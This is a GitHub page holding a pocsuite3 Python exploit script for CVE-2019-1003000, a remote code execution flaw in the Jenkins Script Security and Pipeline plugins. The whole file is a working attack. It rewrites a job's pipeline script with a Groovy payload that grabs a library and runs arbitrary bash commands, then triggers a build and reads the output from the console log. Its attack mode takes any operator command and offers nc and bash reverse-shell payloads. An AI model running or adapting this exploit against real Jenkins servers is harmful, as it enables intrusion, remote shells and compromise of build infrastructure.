-
Notifications
You must be signed in to change notification settings - Fork 0
/
Jenkins_Script-Security_Pipeline插件远程代码执行漏洞_CVE-2019-1003000.py
138 lines (122 loc) · 5.55 KB
/
Jenkins_Script-Security_Pipeline插件远程代码执行漏洞_CVE-2019-1003000.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python3
# coding: utf-8
from pocsuite3.api import Output, POCBase, register_poc, requests, OptDict
import random, json
from collections import OrderedDict
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
import jenkins
from xml.etree import ElementTree as ET
import time
# 前面几行固定,编码、继承类、import库
class TestPOC(POCBase):
vulID = 'exp-55'
author = 'WYS'
appName = 'Jenkins' # 应用名称
appVersion = 'Pipeline: Declarative Plugin up to and including 1.3.4\n' \
'Pipeline: Groovy Plugin up to and including 2.61\n' \
'Script Security Plugin up to and including 1.49' # 文件名称提取即可
name = u'Jenkins 插件远程代码执行漏洞(CVE-2019-1003000)' # 写文件名称即可
desc = u'Jenkins 插件远程代码执行漏洞' # 漏洞简要描述
samples = [] # 测试样列,就是用 PoC 测试成功的网站
def _options(self):
o = OrderedDict()
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["command"] = OptDict(selected="bash", default=payload)
o["job"] = OptDict(selected="bash", default=payload)
o["user"] = OptDict(selected="bash", default=payload)
o["pass"] = OptDict(selected="bash", default=payload)
return o
def _verify(self):
result = {}
url = self.url
job_name = self.get_option("job")
username = self.get_option("user")
password = self.get_option("pass")
cmd = "echo test"
payload = '''
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
'''
server = jenkins.Jenkins(url, username, password)
try:
ori_job_config=server.get_job_config(job_name)
#print('get_job_config success')
ee = ET.fromstring(ori_job_config)
ee.find('definition/script').text = payload % cmd
job_config = ET.tostring(ee, encoding='utf8', method='xml')
server.reconfig_job(job_name, job_config)
time.sleep(3)
queue_number = server.build_job(job_name)
time.sleep(3)
queue_item_info = {}
while 'executable' not in queue_item_info:
queue_item_info = server.get_queue_item(queue_number)
time.sleep(1)
server.reconfig_job(job_name, ori_job_config)
time.sleep(3)
last_build_number = server.get_job_info(job_name)['lastBuild']['number']
console_output = server.get_build_console_output(job_name, last_build_number)
console_output1 = console_output.split('echo', 2)[1]
console_output2 = console_output1.split('[Pipeline]', 2)[0]
result['VerifyInfo'] = {} # 固定
result['VerifyInfo']['URL'] = self.url # 固定
result['VerifyInfo']['INFO'] = console_output2 # 固定
except:
print('target is not vulnerable')
return self.parse_output(result)
def _attack(self):
result = {}
url = self.url
job_name = self.get_option("job")
username = self.get_option("user")
password = self.get_option("pass")
cmd = self.get_option("command")
payload = '''
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
'''
server = jenkins.Jenkins(url, username, password)
#print(server)
try:
ori_job_config = server.get_job_config(job_name)
ee = ET.fromstring(ori_job_config)
ee.find('definition/script').text = payload % cmd
job_config = ET.tostring(ee, encoding='utf8', method='xml')
server.reconfig_job(job_name, job_config)
time.sleep(3)
queue_number = server.build_job(job_name)
time.sleep(3)
queue_item_info = {}
while 'executable' not in queue_item_info:
queue_item_info = server.get_queue_item(queue_number)
time.sleep(1)
server.reconfig_job(job_name, ori_job_config)
time.sleep(3)
last_build_number = server.get_job_info(job_name)['lastBuild']['number']
console_output = server.get_build_console_output(job_name, last_build_number)
#print(console_output)
console_output1=console_output.split('echo',2)[1]
console_output2 = console_output1.split('[Pipeline]', 2)[0]
result['VerifyInfo'] = {} # 固定
result['VerifyInfo']['URL'] = self.url # 固定
result['VerifyInfo']['INFO'] = console_output2 # 固定
except:
print('target is not vulnerable')
return self.parse_output(result)
# 固定
#return self._attack
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(TestPOC)